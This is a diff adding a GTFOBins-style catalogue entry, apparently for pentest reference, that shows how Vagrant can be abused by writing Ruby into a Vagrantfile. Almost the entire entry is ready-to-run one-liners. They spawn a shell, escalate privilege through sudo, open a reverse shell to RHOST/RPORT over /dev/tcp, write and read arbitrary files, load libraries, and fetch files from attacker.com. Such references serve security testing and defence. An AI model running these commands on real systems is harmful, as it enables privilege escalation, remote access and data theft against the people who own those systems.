Add vagrant.md

_gtfobins/vagrant.md

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+---
+description: |
+Vagrant can execute arbitrary ruby code when starting up. The Commands down below create a new directory "pwn" in the tmp-folder where vagrant then is initialized. After that the command is pasted into the Vagrantfile and executed.
+More Info at https://gtfobins.github.io/gtfobins/ruby/
+functions:
+  shell:
+    - code: mkdir /tmp/pwn && cd /tmp/pwn && vagrant init && echo 'exec "/bin/sh"' > Vagrantfile && vagrant up
+    -
+  sudo:
+    - code: mkdir /tmp/pwn && cd /tmp/pwn && vagrant init && echo 'exec "/bin/sh"' > Vagrantfile && sudo vagrant up
+  reverse-shell:
+    - description: |
+        Run `nc -lvnp RPORT` on the attacker box.
+        Replace RHOST and RPORT with the attacker ip and port to gain a reverse shell.
+      code: |
+        mkdir /tmp/pwn && cd /tmp/pwn && vagrant init && echo 'exec "sh -i &>/dev/tcp/RHOST/RPORT <&1"' > Vagrantfile && vagrant up
+  file-write:
+    - code: mkdir /tmp/pwn && cd /tmp/pwn && vagrant init && echo 'File.open("file_to_write", "w+") { |f| f.write("DATA") }' > Vagrantfile && vagrant up
+  file-read:
+    - code: mkdir /tmp/pwn && cd /tmp/pwn && vagrant init && echo 'puts File.read("file_to_read")' > Vagrantfile && vagrant up
+  library-load:
+    - code: ruby -e 'require "fiddle"; Fiddle.dlopen("lib.so")'
+  file-download:
+    - description: Fetch a remote file via HTTP GET request.
+      code: |
+        export URL=http://attacker.com/file_to_get
+        export LFILE=file_to_save
+        mkdir /tmp/pwn && cd /tmp/pwn && vagrant init && echo 'require "open-uri"; download = open(ENV["URL"]); IO.copy_stream(download, ENV["LFILE"])' > Vagrantfile && vagrant up
+---
+